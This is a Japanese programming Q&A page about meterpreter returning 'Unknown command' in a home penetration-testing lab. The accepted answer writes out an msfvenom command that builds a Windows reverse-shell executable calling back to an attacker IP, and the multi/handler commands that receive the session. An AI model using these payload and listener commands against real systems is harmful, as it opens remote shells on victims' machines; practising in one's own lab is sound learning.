質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

新規登録して質問してみよう
ただいま回答率
85.35%
Kali Linux

Kali Linuxは、DebianベースのLinuxディストリビューションです。ペネトレーションテストを主な目的とし、250以上の専用ソフトウェアがインストールされています。

Linux

Linuxは、Unixをベースにして開発されたオペレーティングシステムです。日本では「リナックス」と呼ばれています。 主にWebサーバやDNSサーバ、イントラネットなどのサーバ用OSとして利用されています。 上位500のスーパーコンピュータの90%以上はLinuxを使用しています。 携帯端末用のプラットフォームAndroidは、Linuxカーネル上に構築されています。

Q&A

解決済

1回答

2458閲覧

meterpreterで"Unknown command"と出力される

Prometheus

総合スコア10

Kali Linux

Kali Linuxは、DebianベースのLinuxディストリビューションです。ペネトレーションテストを主な目的とし、250以上の専用ソフトウェアがインストールされています。

Linux

Linuxは、Unixをベースにして開発されたオペレーティングシステムです。日本では「リナックス」と呼ばれています。 主にWebサーバやDNSサーバ、イントラネットなどのサーバ用OSとして利用されています。 上位500のスーパーコンピュータの90%以上はLinuxを使用しています。 携帯端末用のプラットフォームAndroidは、Linuxカーネル上に構築されています。

0グッド

0クリップ

投稿2020/06/08 04:51

前提・実現したいこと

「ハッキング・ラボのつくりかた」を参考に、Kali Linuxでmetasploit Frameworkを触っているのですが、リバースシェルでターゲット端末にアクセスした後、meterpreterでコマンドを入力すると"Unknown command: uname"のようにエラーが出力されます。どうすればいいでしょうか。

発生している問題・エラーメッセージ

meterpreter > getuid Server username: no-user @ localhost.localdomain (uid=1001, gid=1001, euid=1001, egid=1001) meterpreter > getsystem [-] Unknown command: getsystem. meterpreter > uname -r [-] Unknown command: uname.

試したこと

以下のリンクを読んだのですが、よく分かりませんでした。
https://security.stackexchange.com/questions/184956/meterpreter-commands-not-working-in-shell

補足情報(FW/ツールのバージョンなど)

VirtualBox6.1.8
Kali Linux2020.2
CentOS8.1

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

guest

回答1

0

ベストアンサー

クライアントに正常にconnectできていない状態だとUnknown commandと出ます。

クライアントがなにかわからないので、Windows機と仮定しますが、
kali linuxのshellで以下のコマンドを実行して、exeを生成します。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.111 LPORT=443 -f exe -o met.exe
  • 192.168.111.111は攻撃側のIPです。

msfconsoleを開きます、以下を実行します。

msfconsole > use exploit/multi/handler msfconsole (exploit/multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp msfconsole (exploit/multi/handler) > set LHOST 192.168.111.111 msfconsole (exploit/multi/handler) > set LPORT 443 msfconsole (exploit/multi/handler) > exploit

ここで、先程生成したexeをクライアントで実行すると、sessionがはられるので、改めて、コマンドを実行してみてください。

投稿2020/06/08 08:23

Mashiro

総合スコア654

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

Prometheus

2020/06/08 11:01

この通りに実行してみたところ、上手くいきました。 ありがとうございました。
guest

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.35%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問